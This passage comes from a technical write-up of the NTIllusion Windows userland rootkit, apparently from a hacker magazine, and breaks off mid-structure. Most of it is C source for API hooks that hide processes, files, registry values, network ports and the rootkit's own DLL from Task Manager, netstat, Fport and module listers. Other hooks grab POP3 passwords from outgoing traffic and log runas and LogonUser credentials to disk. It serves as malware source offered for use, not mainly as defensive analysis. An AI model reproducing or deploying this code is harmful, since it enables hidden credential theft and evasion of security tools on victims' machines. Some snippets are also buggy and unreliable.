            _strlwr(lDll);

            /* Call hook function */
            SetUpHooks((int)NTI_ON_NEW_DLL, (char*)lDll);

            free(lDll);
        }
    }
}

```

```

    }

end:
    return hInst;
}
----- END EXAMPLE 2 -----

```

As the hijacking method used is entry point rewriting, we must check that the DLL has not been yet loaded before performing the hooking. Otherwise, this may trigger an infinite loop when calling the original function. The job is partially done by SetUpHooks that will perform the hooking on already loaded module only at program startup.

About GetProcAddress:

At first NTIllusion rootkit was using an IAT hijacking method in order to replace file, process, registry and network APIs to perform its stealth. Under winXP, all worked perfectly. But when I tested it under win2000 I noticed a unusual behaviour in explorer's IAT. In fact, the loader doesn't fill the IAT correctly for a few functions such as CreateProcessW, so the address written doesn't always correspond to the API entry point [EXPLORIAT]. Scanning the IAT looking for API name instead of it's address does not solve the problem. It seems that explorer is performing something strange... So I moved from an IAT hijacking engine needing to hook GetProcAddress in order to prevent hook escape, to the unconditional jump insertion that does not need to filter calls to this API. Anyway, you can try to hijack GetProcAddress and send the details of each call to debug output. The amount of GetProcAddress calls performed by explorer is amazing and its study, instructive.

-----[4. Replacement functions

Here comes the most pleasant part of the NTIllusion rootkit, i.e. the core of the replacement functions.

-----[4.1. Process hiding

The main target when speaking about process hiding is the taskmanager. Studying its Import Table reveals that it performs direct calls to ntdll.NtQuerySystemInformation, so this time, hijacking API at higher level is useless and the situation leaves no choice. The role of the replacement function is to hide the presence of each process whose image name begins with RTK_PROCESS_CHAR string. Retrieving the processes list is done through a call to the [NtQuerySystemInformation] API.

```

NTSTATUS NtQuerySystemInformation(
    SYSTEM_INFORMATION_CLASS SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
);

```

The NtQuerySystemInformation function retrieves various kinds of system information. When specifying SystemInformationClass to be equal to SystemProcessInformation, the API returns an array of SYSTEM_PROCESS_INFORMATION structures, one for each process running in the system. These structures contain information about the resource usage of each process, including the number of handles used by the process, the peak page-file usage, and the number of memory pages that the process has allocated, as described in the MSDN. The function returns an array of SYSTEM_PROCESS_INFORMATION structures though the SystemInformation parameter.

Each structure has the following layout:

```
typedef struct _SYSTEM_PROCESS_INFORMATION
{
    DWORD           NextEntryDelta;
    DWORD           dThreadCount;
    DWORD           dReserved01;
    DWORD           dReserved02;
    DWORD           dReserved03;
    DWORD           dReserved04;
    DWORD           dReserved05;
    DWORD           dReserved06;
    FILETIME        ftCreateTime;           /* relative to 01-01-1601 */
    FILETIME        ftUserTime;            /* 100 nsec units */
    FILETIME        ftKernelTime;          /* 100 nsec units */
    UNICODE_STRING  ProcessName;
    DWORD           BasePriority;
    DWORD           dUniqueProcessId;
    DWORD           dParentProcessID;
    DWORD           dHandleCount;
    DWORD           dReserved07;
    DWORD           dReserved08;
    DWORD           VmCounters;
    DWORD           dCommitCharge;
    SYSTEM_THREAD_INFORMATION ThreadInfos[1];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
```

Hiding a process is possible by playing with the NextEntryDelta member of the structure, which represents an offset to the next SYSTEM_PROCESS_INFORMATION entry. The end of the list is marked by a NextEntryDelta equal to zero.

```
----- EXAMPLE 3 -----
/*
    MyNtQuerySystemInformation : install a hook at system query
    level to prevent _nti* processes from being shown.
    Thanks to R-e-d for this function released in rkNT rootkit.
    (error checks stripped)
*/
DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass,
PVOID SystemInformation, ULONG SystemInformationLength,
                                           PULONG ReturnLength)
{
    PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;
    char *pname = NULL;
    DWORD rc;

    /* 1st of all, get the return value of the function */
    rc = fNtQuerySystemInformation(SystemInformationClass,
        SystemInformation, SystemInformationLength, ReturnLength);

    /* if successful, perform sorting */
    if (rc == STATUS_SUCCESS)
    {
        /* system info */
        switch (SystemInformationClass)
        {
            /* process list */
            case SystemProcessInformation:
                pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION)
                    SystemInformation;

                while (1)
                {
                    /* alloc memory to save process name in AINSI
```

```

        8bits string charset */
        pname = (char *) GlobalAlloc(GMEM_ZEROINIT,
            pSpiCurrent->ProcessName.Length + 2);

        /* Convert unicode string to ains i */
        WideCharToMultiByte(CP_ACP, 0,
            pSpiCurrent->ProcessName.Buffer,
            pSpiCurrent->ProcessName.Length + 1,
            pname, pSpiCurrent->ProcessName.Length + 1,
            NULL, NULL);

        /* if "hidden" process*/
        if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR,
            strlen(RTK_PROCESS_CHAR)))
        {
            /* First process */
            if (pSpiCurrent->NextEntryDelta == 0)
            {
                pSpiPrec->NextEntryDelta = 0;
                break;
            }
            else
            {
                pSpiPrec->NextEntryDelta +=
                    pSpiCurrent->NextEntryDelta;
            }
        }
        else
        {
            if (pSpiCurrent->NextEntryDelta == 0) break;

            pSpiPrec = pSpiCurrent;

            /* Walk the list */
            pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION) ((
                (PCHAR) pSpiCurrent +
                pSpiCurrent->NextEntryDelta);

            GlobalFree(pname);
        }
    } /* /while */
    break;
} /* /switch */
} /* /if */

return (rc);
}

```

----- END EXAMPLE 3 -----

Previously I said that targeting NtQuerySystemInformation was the only solution. This is not entirely true. It's contrariwise sure that hooking Process32First/Next won't help but it's still possible to do otherwise. At first I chose to hook SendMessage, therefore hiding at ListBox control level. This is a very specific approach to the problem and is

undocumented. Spying the behavior of the taskmanager on process creation with Spy++ shows that it uses the row telling about system idling process and changes its name to show the newly created process by sending a LVM_SETITEMTEXT message. So, first it overwrites the content of this ListBox item's line, and then add a new "Idle process" line by sending a LVM_INSERTITEMW message. Filtering these two types of message let us control what the taskmanager shows. Not very professional but efficient.

The following function replaces SendMessageW inside the task manager to prevent the program to send messages related to hidden process.

```

----- EXAMPLE 4 -----
/* MySendMessageW : install a hook at display level (that is to say at
ListBox level) to prevent *_ processes from being shown */
LRESULT WINAPI MySendMessageW(
    HWND hWnd,          /* handle of destination window */
    UINT Msg,           /* message to send */
    WPARAM wParam,      /* first message parameter */
    LPARAM lParam)      /* second message parameter */
{
    LPLVITEM pit; /* simple pointer to a LVITEM structure */

    /* Filter events */
    if(      Msg==LVM_SETITEM || Msg==LVM_INSERTITEMW ||
        Msg==LVM_SETITEMTEXTW
        )
    {
        /* If process name starts by '_', hide it*/
        if( ((char)(pit->pszText))== '_' )
        {
            hWnd=Msg=wParam=lParam=NULL;
            return 0;
        }
    }

    /* in the other case, just call the genuine function */
    return fSendMessageW(hWnd,Msg,wParam,lParam);
}
----- END EXAMPLE 1 -----

```

This very high level hook does the job but it will only work for taskmgr.exe.

-----[4.2. File hiding

Another frequently asked question is how to hide files. As explained above, I choose to hook FindFirstFileA/W and FindNextFileA/W. It is from far sufficient to defeat explorer view, the dir command, and all dialog boxes provided by the Common Controls.

According the [MSDN] the FindFirstFile function searches a directory for a file or subdirectory whose name matches the specified name.

```

HANDLE FindFirstFile(
    LPCTSTR lpFileName,
    LPWIN32_FIND_DATA lpFindFileData
);

```

The function takes two parameters. A null-terminated string that specifies a valid directory or path and file name, which can contain wildcard characters (* and ?): lpFileName, and a pointer to a WIN32_FIND_DATA structure that receives information about the found file or subdirectory. If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose. If the function fails, the return value is INVALID_HANDLE_VALUE.

The FindFirstFile function is called to begin a file search. If it succeed, the search may be pursued by calling FindNextFile.

```
BOOL FindNextFile(  
    HANDLE hFindFile,  
    LPWIN32_FIND_DATA lpFindFileData  
);
```

The hFindFile parameter is a handle returned by a previous call to FindFirstFile or FindFirstFileEx function. Like before, the lpFindFileData points to a the WIN32_FIND_DATA structure that receives information about the found file or subdirectory. The structure can be used in subsequent calls to FindNextFile to see the found file or directory. The function succeeds if it returns nonzero.

Let's have a look at the WIN32_FIND_DATA structure. The important member is cFileName which is a null-terminated string that specifies the name of the file.

```
typedef struct _WIN32_FIND_DATA {  
    DWORD dwFileAttributes;  
    FILETIME ftCreationTime;  
    FILETIME ftLastAccessTime;  
    FILETIME ftLastWriteTime;  
    DWORD nFileSizeHigh;  
    DWORD nFileSizeLow;  
    DWORD dwReserved0;  
    DWORD dwReserved1;  
    TCHAR cFileName[MAX_PATH];    /* full file name */  
    TCHAR cAlternateFileName[14]; /* file name in the classic 8.3  
                                   (filename.ext) file name format. */  
} WIN32_FIND_DATA,  
*PWIN32_FIND_DATA;
```

To perform a directory listing, an application calls FindFirstFile, and then calls FindNextFile using the returned handle, until it returns zero. The AINSI and WIDE functions (A/W) of FindFirst/NextFile operate similarly except that the Wide version performs calls to WideCharToMultiByte, in order to convert unicode strings to ains.

```
----- EXAMPLE 5 -----  
/* MyFindFirstFileA : hides protected files from file listing  
   (error checks stripped)*/  
HANDLE WINAPI MyFindFirstFileA(  
    LPCTSTR lpFileName,  
    LPWIN32_FIND_DATA lpFindFileData)  
{  
    HANDLE hret= (HANDLE)1000;    /* return handle */  
    int go_on=1;                 /* loop flag */  
  
    /* Process request */  
    hret = (HANDLE) fFindFirstFileA(lpFileName, lpFindFileData);  
  
    /* Then filter: while we get a 'hidden file', we loop */  
    while( go_on &&  
        !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,  
            strlen(RTK_FILE_CHAR)))  
    {  
        go_on = fFindNextFileA(hret, lpFindFileData);  
    }  
  
    /* Oops, no more files? */
```

```

        if(!go_on)
            return INVALID_HANDLE_VALUE;

```

```

return hret;
}

```

----- END EXAMPLE 5 -----

And now let's replace FindNextFileA:

----- EXAMPLE 6 -----

```

/* MyFindNextFileA : hides protected files from being listed */

```

```

BOOL WINAPI MyFindNextFileA(
    HANDLE hFindFile,
    LPWIN32_FIND_DATA lpFindFileData
)
{

```

```

    BOOL ret;          /* return value */

```

```

    /* While we get a file that should not be shown, we get another : */
    do

```

```

    {
        ret = fFindNextFileA(hFindFile, lpFindFileData);
        } while( !_strnicmp(lpFindFileData->cFileName, RTK_FILE_CHAR,
            strlen(RTK_FILE_CHAR)) && ret!=0);

```

```

/* We're out of the loop so we may check if we broke because there
is no more files. If it's the case, we may clear the
LPWIN32_FIND_DATA structure as this :

```

```

my_memset(lpFindFileData, 0, sizeof(LPWIN32_FIND_DATA));

```

```

    */
    return ret;
}

```

----- END EXAMPLE 6 -----

-----[4.3. Registry

Preventing its launch source from being detected is also an unavoidable feature for this kind of rootkit. To allow registry stealth, the rootkit replaces the RegEnumValueW API inside the memory space of all processes. The working mode of the new function is simple : if it detects itself listing the content of a key that must be hidden, it returns 1 which traduces an error. The only problem with this implementation is that the calling process will stop asking for the listing of the content of the registry key. Therefore, it will also hide subsequent keys. As the keys are most of the time retrieved alphabetically, the RTK_REG_CHAR traducing that the key is hidden must be starting by a character of high ASCII code so that it will be retrieved last and won't bother.

----- EXAMPLE 7 -----

```

/* MyRegEnumValue : hide registry keys when a list is requested */

```

```

LONG WINAPI MyRegEnumValue(
    HKEY hKey,
    DWORD dwIndex,
    LPWSTR lpValueName,
    LPDWORD lpValueName,
    LPDWORD lpReserved,
    LPDWORD lpType,
    LPBYTE lpData,
    LPDWORD lpCbData)
{

```

```

    LONG lRet; /* return value */
    char buf[256];

```

```

    /* Call genuine API, then process to hiding if needed */
    lRet = fRegEnumValueW(hKey, dwIndex, lpValueName, lpValueName,

```

```

lpReserved, lpType, lpData,lpcbData);

    /* Convert string from Unicode */
    WideCharToMultiByte(CP_ACP, 0,lpValueName, -1, buf, 255,NULL, NULL);

    /* If the key must be hidden... */
    if(!_strnicmp((char*)buf, RTK_REG_CHAR, strlen(RTK_REG_CHAR))) {
        lRet=1; /* then return M-^V1 (error) */
    }

    return lRet;
}
----- END EXAMPLE 7 -----

```

-----[4.4. Netstat like tools.

Network statistics tools are from far the most vicious. There's a lot of ways to request the list of TCP/UDP used ports and the behavior of the same application (netstat, [TCPVIEW], [FPORT]...) varies from a version of windows to another. This is especially true between NT/2000 and XP where the network statistics start to include the process identifier of the owner of each TCP connection. Whatever the way a process obtains these statistics, some dialog has to be established with the TCP/UDP driver sitting at kernel level (\Device\Tcp and \Device\Udp). This consists in calls to DeviceIoControl to establish a request and receive the answer of the driver. Hooking at this level is possible but from far risky and nightmarish, since the structures and control codes used are undocumented and change between windows versions. So the hooking has to be performed at different level, depending on the quality of the requested information and OS version.

As the rootkit must run under 2000 and XP, we have to consider different cases.

-----[4.4.1. The case of windows 2000

Under windows 2000 the extended API AllocateAndGetTcpExTableFromStack that associates a process identifier with a TCP stream does not exist yet, so information provided by the API doesn't include this reference.

-----[4.4.1.1. Hooking GetTcpTable

The TCP statistics may officially be obtained by a call to GetTcpTable, which retrieves the TCP connection table (MIB_TCPTABLE).

```

DWORD GetTcpTable(
    PMIB_TCPTABLE pTcpTable,
    PDWORD pdwSize,
    BOOL border
);

```

The functions takes three parameters. The last one, border, decides whether the connection table should be sorted. Then, PdwSize specifies the size of the buffer pointer by the pTcpTable parameter on input. On output, if the buffer is not large enough to hold the returned connection table, the function sets this parameter equal to the required buffer size. Finally, pTcpTable points to a buffer that receives the TCP connection table as a MIB_TCPTABLE structure. A sample retrieving the TCP connection table is available online. [GETTCP]

The MIB_TCPTABLE structure contains a table of TCP connections.

```

typedef struct _MIB_TCPTABLE {
    DWORD dwNumEntries;
    MIB_TCPROW table[ANY_SIZE];
} MIB_TCPTABLE,
*PMIB_TCPTABLE;

```


table is a pointer to a table of TCP connections implemented as an array of MIB_TCPROW structures, one for each connection.

A MIB_TCPROW stands as follows:

```
typedef struct _MIB_TCPROW {
    DWORD dwState;
    DWORD dwLocalAddr;
    DWORD dwLocalPort;
    DWORD dwRemoteAddr;
    DWORD dwRemotePort;
} MIB_TCPROW,
*PMIB_TCPROW;
```

While the dwState describes the state of a given connection, dwLocalAddr, dwLocalPort, dwRemoteAddr, dwRemotePort inform about the source and destination of the connection. We're interested in dwLocalPort and dwRemotePort to determine if the port belongs to the secret range (between RTK_PORT_HIDE_MIN and RTK_PORT_HIDE_MAX) and therefore must be hidden. To hide a row in TCP table if needed, the MyGetTcpTable function shifts the whole array, thus overwriting the unwanted memory zone.

```
----- EXAMPLE 8 -----
/* MyGetTcpTable replacement for GetTcpTable.
   (error checks stripped)
*/
DWORD WINAPI MyGetTcpTable(PMIB_TCPTABLE_ pTcpTable, PDWORD pdwSize, BOOL
bOrder)
{
    u_long LocalPort=0; /* remote port on local machine endianness*/
    u_long RemotePort=0; /* local port on local machine endianness */
    DWORD dwRetVal=0, numRows=0; /* counters */
    int i,j;

    /*Call original function, if no error, strip unwanted MIB_TCPROWS*/
    dwRetVal = (*fGetTcpTable)(pTcpTable, pdwSize, bOrder);
    if(dwRetVal == NO_ERROR)
    {
        /* for each row, test if it must be stripped */
        for (i=0; i<(int)pTcpTable->dwNumEntries; i++)
        {
            LocalPort      = (u_short) fhtons((u_short)
                (pTcpTable->table[i].dwLocalPort));

            RemotePort      = (u_short) fhtons((u_short)
                (pTcpTable->table[i].dwRemotePort));

            /* If row must be filtered */
            if( IsHidden(LocalPort, RemotePort) )
            {
                /* Shift whole array */
                for(j=i; j<((int)pTcpTable->dwNumEntries - 1);j++)
                    memcpy( &(pTcpTable->table[i]),
                        &(pTcpTable->table[i+1]),
                        sizeof(MIB_TCPROW_));

                /* Erase last row */
                memset( &(pTcpTable->table[j]),
                    0x00, sizeof(MIB_TCPROW_));

                /* Reduce array size */
                (*pdwSize)-= sizeof(MIB_TCPROW_);
                (pTcpTable->dwNumEntries)--;
```

```

        }
    }

    return dwRetVal;
}

```

----- END EXAMPLE 8 -----

Calling GetTcpTable is not the only way to get network statistics under windows 2000. Some programs, such as fport even provide the correspondence stream/pid and therefore deal directly with the TCP driver through the DeviceIoControl function. Hijacking this API is not a good idea as I explained before. In consequence, the approach I adopted is to target specific functions used by widespread security tools rather than hooking a level lower by replacing DeviceIoControl.

-----[4.4.1.2. Defeating netstat

In this version of windows, fport isn't the only one that deals directly with the TCP/UDP driver. This is also the case of netstat. To defeat these programs, we just have to replace functions that are involved in network statistic processing from DeviceIoControl call to screen output.

With netstat, the idea is to hook the CharToOemBuffA API that is used to perform characters set translations for each line before it is written to console output.

```

BOOL CharToOemBuff(
    LPCTSTR lpszSrc, /* Pointer to the null-terminated string to
                      translate. */
    LPSTR lpszDst,   /* Pointer to the buffer for the translated
                      string. */
    DWORD cchDstLength /* Specifies the number of TCHARs to translate */
);

```

If the rootkit notices itself being translating a string containing a hidden port, it just calls the function with a blank buffer, so the translation will result in a blank buffer, and output won't show anything.

----- EXAMPLE 9 -----

```

/* MyCharToOemBuffA : replace the function used by nestat to convert
strings to a different charset before it sends it to output, so we can get
rid of some awkward lines... :)
*/

```

```

BOOL WINAPI MyCharToOemBuff(LPCTSTR lpszSrc, LPSTR lpszDst,
DWORD cchDstLength)
{
    /* If the line contains our port range, we simply get rid of
    it. */
    if(strstr(lpszSrc, (char*)RTK_PORT_HIDE_STR) != NULL)
    {
        /* We call the function, providing a blank string */
        return (*fCharToOemBuffA)("", lpszDst, cchDstLength);
    }
    return (*fCharToOemBuffA)(lpszSrc, lpszDst, cchDstLength);
}

```

----- END EXAMPLE 9 -----

As netstat calls the function for each line it writes, there is not problem in avoiding whole ones.

-----[4.4.1.2. Defeating Fport

However, this is not the case of Fport, which processes output character by character. I chose to hook the WriteFile API, and set up a buffer

mechanism so output is done line by line, and hiding therefore simpler.

```
----- EXAMPLE 10 -----
/* Convert FPORT.exe's output mode from char by char to line by line to
allow hiding of lines containing ports to hide
*/
BOOL WINAPI MyWriteFile(
    HANDLE hFile,                /* handle to file to write to */
    LPCVOID lpBuffer,            /* pointer to data to write to file */
    DWORD nNumberOfBytesToWrite, /* number of bytes to write */
    LPDWORD lpNumberOfBytesWritten, /* pointer to number of bytes written */
    LPOVERLAPPED lpOverlapped    /* pointer to structure for overlapped
                                I/O */
)
{
    BOOL bret=TRUE;                /* Return value */
    char* chr = (char*)lpBuffer;
    static DWORD total_len=0;        /* static length counter */
    static char PreviousChars[2048*10]; /* static characters' buffer
    (bof?) */

    /* Add the new character */
    PreviousChars[total_len++] = chr[0];
    /* Check for line termination */
    if(chr[0] == '\r')
    {

        PreviousChars[total_len] = '\n';
        PreviousChars[++total_len] = '\0';

        /* show this line only if it contains no hidden port / process
        prefix */
        if(strstr((char*)PreviousChars, (char*)RTK_PORT_HIDE_STR)==NULL
            && strstr((char*)PreviousChars, (char*)RTK_PROCESS_CHAR)=
=NULL)
        {

            /* Valid line, so process output */
            bret = fWriteFile(hFile, (void*)PreviousChars,
                strlen((char*)PreviousChars),
                lpNumberOfBytesWritten,
                lpOverlapped);
        }

        /* Clear settings */
        memset(PreviousChars, 0, 2048);
        total_len= 0;
    }

    /* fakes the var, so fport can't see output wasn't done */
    (*lpNumberOfBytesWritten) = nNumberOfBytesToWrite;

    return bret;
}
----- END EXAMPLE 10 -----
```

-----[4.4.2. The case of windows XP

Under windows XP programs have not to deal with hell by interacting directly the TCP/UDP driver as the windows API provides sufficient statistics. Thus, the most widespread network tools (netstat, Fport, Tcpview) rely whether on AllocateAndGetTcpExTableFromStack (XP only) or on the classic GetTcpTable depending on the needs. So, to cover the problem under windows XP, the rootkit has just to replace the AllocateAndGetTcpExTableFromStack API. Searching the msdn about this functions is useless.

This is an undocumented function. However it exists some useful samples on the web such as [NETSTATP] provided by SysInternals that are quite explicit. The AllocateAndGetTcpExTableFromStack function takes the following parameters.

```
DWORD AllocateAndGetTcpExTableFromStack(
    PMIB_TCPEXTABLE *pTcpTable,    /* buffer for the connection table */
    BOOL bOrder,                  /* sort the table? */
    HANDLE heap,                  /* handle to process heap obtained by
    calling GetProcessHeap() */
    DWORD zero,                   /* undocumented */
    DWORD flags                    /* undocumented */
)
```

The first parameter is the one interesting. It points to a MIB_TCPEXTABLE structure, that stands for PMIB_TCPTABLE extended, looking as follows.

```
/* Undocumented extended information structures available
   only on XP and higher */
typedef struct {
    DWORD    dwState;             /* state of the connection */
    DWORD    dwLocalAddr;         /* address on local computer */
    DWORD    dwLocalPort;         /* port number on local computer */
    DWORD    dwRemoteAddr;        /* address on remote computer */
    DWORD    dwRemotePort;        /* port number on remote computer */
    DWORD    dwProcessId;         /* process identifier */
} MIB_TCPEXROW, *PMIB_TCPEXROW;

typedef struct {
    DWORD    dwNumEntries;
    MIB_TCPEXROW    table[];
} MIB_TCPEXTABLE, *PMIB_TCPEXTABLE;
```

This is the same as the structures employed to work with GetTcpTable, so the replacement function's job will be somewhat identical.

```
----- EXAMPLE 11 -----
/*
AllocateAndGetTcpExTableFromStack replacement. (error checks
stripped)
*/
DWORD WINAPI MyAllocateAndGetTcpExTableFromStack(
    PMIB_TCPEXTABLE *pTcpTable,
    BOOL bOrder,
    HANDLE heap,
    DWORD zero,
    DWORD flags
)
{
    /* error handler, TcpTable walk index, TcpTable sort index */
    DWORD err=0, i=0, j=0;
    char psname[512];                /* process name */
    u_long LocalPort=0, RemotePort=0; /* local & remote port */

    /* Call genuine function ... */
    err = fAllocateAndGetTcpExTableFromStack( pTcpTable, bOrder, heap,
    zero, flags );

    /* Exit immediately on error */
    if(err)
        return err;
```

```

/* ... and start to filter unwanted rows. This will hide all
opened/listening/connected/closed/... sockets that belong to
secret range or reside in a secret process
*/
/* for each process... */
for(i = 0; i < ((*pTcpTable)->dwNumEntries); j=i)
{
    /* Get process name to filter secret processes' sockets */
    GetProcessNamebyPid((*pTcpTable)->table[i].dwProcessId,
    (char*)psname);
    /* convert from host to TCP/IP network byte order
(which is big-endian)*/
    LocalPort      = (u_short) fhtons((u_short)
    (*pTcpTable)->table[i].dwLocalPort);
    RemotePort     = (u_short) fhtons((u_short)
    (*pTcpTable)->table[i].dwRemotePort);

    /* Decide whether to hide row or not */
    if( !_strnicmp((char*)psname, RTK_FILE_CHAR,
    strlen(RTK_FILE_CHAR))
    || IsHidden(LocalPort, RemotePort) )
    {
        /* Shift whole array*/
        for(j=i; j<((*pTcpTable)->dwNumEntries); j++)
            memcpy( (&((*pTcpTable)->table[j])),
            (&((*pTcpTable)->table[j+1])),
            sizeof(MIB_TCPEXROWEx));

        /* clear last row */
        memset( (&((*pTcpTable)->table[((
        (*pTcpTable)->dwNumEntries)-1)])),
            0, sizeof(MIB_TCPEXROWEx));

        /* decrease row number */
        ((*pTcpTable)->dwNumEntries)--=1;

        /* do the job again for the current row, that may also
        contain a hidden process */
        continue;
    }

    /* this row was ok, jump to the next */
    i++;
}
return err;
}
----- END EXAMPLE 11 -----

```

These replacement functions reside in kNTINetHide.c.

-----[4.5. Global TCP backdoor / password grabber

As the rootkit is injected in almost every user process, there's a possibility to set up a global TCP backdoor by hijacking recv and WSAREcv, allowing transforming any application (including a web server), into an opportune backdoor. This is complicated enough to be a whole project in itself so I focused on a password grabber virtually able to hijack passwords sent by any mail client [kSENTINEL]. Currently, it targets at Outlook and Netscape mail client but may easily be extended to other applications by playing with the #defines. It dynamically hijacks the TCP stream when the mail client deals with remote server. Therefore, it allows to grab USER and PASS commands to be used for later privileges escalation.

```

----- EXAMPLE 12 -----
/* POP3 Password grabber. Replaces the send() socket function.
*/
int WINAPI MySend(SOCKET s, const char FAR * buf, int len, int flags)
{
    int retval=0;          /* Return value */
    char* packet;          /* Temporary buffer */

    if(!fSend)              /* no one lives for ever (error check) */
        return 0;

    /* Call original function */
    retval = fSend(s, buf, len, flags);

    /* packet is a temp buffer used to deal with the buf parameter
       that may be in a different memory segment, so we use the
       following memcpy trick.
    */
    packet = (char*) malloc((len+1) * sizeof(char));
    memcpy(packet, buf, len);

    /* Check if memory is readable */
    if(!IsBadStringPtr(packet, len))
    {
        /* Filter interesting packets (POP3 protocol) */
        if(strstr(packet, "USER") || strstr(packet, "PASS"))
        {
            /* Interesting packet found! */

            /* Write a string to logfile (%user
               profile%\NTILLUSION_PASSLOG_FILE) */

            Output2LogFile("'" %s' \n", packet);
        }
    }

    free(packet);

    return retval;
}
----- END EXAMPLE 12 -----

```

FTP logins and passwords may also be grabbed by adding the proper expression in the filter condition.

-----[4.6. Privilege escalation

Catching POP3 and FTP passwords may allow spreading on the local machine since users often use the same password on different accounts. Anyway when grabbing a password used to login as another user on the machine, there's no doubt that the password will be efficient. Indeed, the rootkit logs attempts to impersonate another user from the desktop. This is the case when the user employs the runas command or selects "the run as user" menu by right clicking on an executable. The API involved in these situations are redirected so any successful login is carefully saved on hard disk for further use.

This is achieved through the replacement of LogonUserA and CreateProcess WithLogonW.

The runas tool present on windows 2000/XP relies on CreateProcessWith LogonW. Its replacement follows.

```

----- EXAMPLE 13 -----
/* MyCreateProcessWithLogonW : collects logins/passwords employed to
create a process as a user. This Catches runas passwords. (runas
/noprofile /user:MyBox\User cmd)
*/
BOOL WINAPI MyCreateProcessWithLogonW(
LPCWSTR lpUsername,          /* user name for log in request */
LPCWSTR lpDomain,            /* domain name for log in request */
LPCWSTR lpPassword,          /* password for log in request */
DWORD dwLogonFlags,          /* logon options*/
LPCWSTR lpApplicationName,   /* application name... */
LPWSTR lpCommandLine,        /* command line */
DWORD dwCreationFlags,       /* refer to CreateProcess*/
LPVOID lpEnvironment,        /* environment vars*/
LPCWSTR lpCurrentDirectory,  /* base directory */
LPSTARTUPINFO lpStartupInfo, /* startup and process infor, see
CreateProcess */
LPPROCESS_INFORMATION lpProcessInfo)
{
    BOOL bret=false;          /* Return value */
    char line[1024];          /* Buffer used to set up log lines */

    /* 1st of all, log on the user */
    bret = fCreateProcessWithLogonW(lpUsername,lpDomain,lpPassword,
dwLogonFlags,lpApplicationName,lpCommandLine,
dwCreationFlags,lpEnvironment,lpCurrentDirectory,
lpStartupInfo,lpProcessInfo);

    /* Inject the created process if its name doesn't begin by
RTK_FILE_CHAR (protected process) */
    /* Stripped [...] */

    /* Log the information for further use */
    memset(line, 0, 1024);
    if(bret)
    {
        sprintf(line, "Domain '%S' - Login '%S' - Password '%S' M-^V
LOGON SUCCESS", lpDomain, lpUsername, lpPassword);
    }
    else
    {
        sprintf(line, "Domain '%S' - Login '%S' - Password '%S' M-^V
LOGON FAILED", lpDomain, lpUsername, lpPassword);
    }

    /* Log the line */
    Output2LogFile((char*)line);

    return bret;
}
----- END EXAMPLE 13 -----

```

Under windows XP, explorer.exe offers a GUI to perform logon operations from the desktop. This relies on LogonUser that may be replaced as below. We're interested only in lpzUsername, lpzDomain and lpzPassword.

```

----- EXAMPLE 14 -----
/* MyLogonUser : collects logins/passwords employed to log on from the
local station */
BOOL WINAPI MyLogonUser(LPTSTR lpzUsername, LPTSTR lpzDomain, LPTSTR
lpzPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken)
{

```

```

char buf[1024]; /* Buffer used to set up log lines */

/* Set up buffer */
memset(buf, 0, 1024);
sprintf(buf, "Login '%s' / passwd '%s' / domain '%s'\n",
lpszUsername,
lpszPassword,
lpszDomain);
/* Log to disk */
Output2LogFile((char*)buf);

/* Perform LogonUser call */
return fLogonUser(lpszUsername, lpszDomain, lpszPassword,
dwLogonType, dwLogonProvider, phToken);
}
----- END EXAMPLE 14 -----

```

The grabbed data are sent to a log file at user profile's root and may be encrypted using a simple 1 byte XOR key.

-----[4.7. Module stealth

As soon as it is loaded into a process, the rootkit hides its DLL. Therefore, if the system does not hook LdrLoadDll or its equivalent at kernel level, it appears that the rookit was never injected into processes. The technique used below is very efficient against all programs that rely on the windows API for enumerating modules. Due to the fact that EnumProcessModules/Module32First/Module32Next/... depend on NtQuerySystem Information, and because this technique foils the manner this API retrieves information, there's no way to be detected by this intermediary. This defeats programs enumerating processes' modules such as ListDlls, ProcessExplorer (See [LISTDLLS] and [PROCEXP]), and VICE rootkit detector. [VICE]

The deception is possible in ring 3 since the kernel maintains a list of each loaded DLL for a given process inside its memory space, in userland. Therefore a process may affect himself and overwrite parts of its memory in order to hide one of its module. These data structures are of course undocumented but can be recovered by using the Process Environment Block (PEB), located at FS:0x30 inside each process. The function below returns the address of the PEB for the current process.

```

----- EXAMPLE 15 -----
DWORD GetPEB()
{
    DWORD* dwPebBase = NULL;
    /* Return PEB address for current process
       address is located at FS:0x30 */
    __asm
    {
        push eax
        mov eax, FS:[0x30]
        mov [dwPebBase], eax
        pop eax
    }
    return (DWORD)dwPebBase;
}
----- END EXAMPLE 15 -----

```

The role of the PEB is to gather frequently accessed information for a process as follows. At address FS:0x30 (or 0x7FFDF000) stands the following members of the [PEB].


```
/* located at 0x7FFDF000 */
```

```
typedef struct _PEB
```

```
{
    BOOLEAN                InheritedAddressSpace;
    BOOLEAN                ReadImageFileExecOptions;
    BOOLEAN                BeingDebugged;
    BOOLEAN                Spare;
    HANDLE                 Mutant;
    PVOID                  ImageBaseAddress;
    PPEB_LDR_DATA           LoaderData;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    [...]
    ULONG                  SessionId;
} PEB, *PPEB;
```

The interesting member in our case is PPEB_LDR_DATA LoaderData that contains information filled by the loader at startup, and then when happens a DLL load/unload.

```
typedef struct _PEB_LDR_DATA
```

```
{
    ULONG                  Length;
    BOOLEAN                Initialized;
    PVOID                  SsHandle;
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
```

The PEB_LDR_DATA structure contains three LIST_ENTRY that are part of doubly linked lists gathering information on loaded DLL in the current process. InLoadOrderModuleList sorts modules in load order, InMemoryOrderModuleList in memory order, and InInitializationOrderModuleList keeps track of their load order since process start.

These doubly linked list contains pointers to LDR_MODULE inside the parent structure for next and previous module.

```
typedef struct _LDR_MODULE {
```

```
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
    PVOID                   BaseAddress;
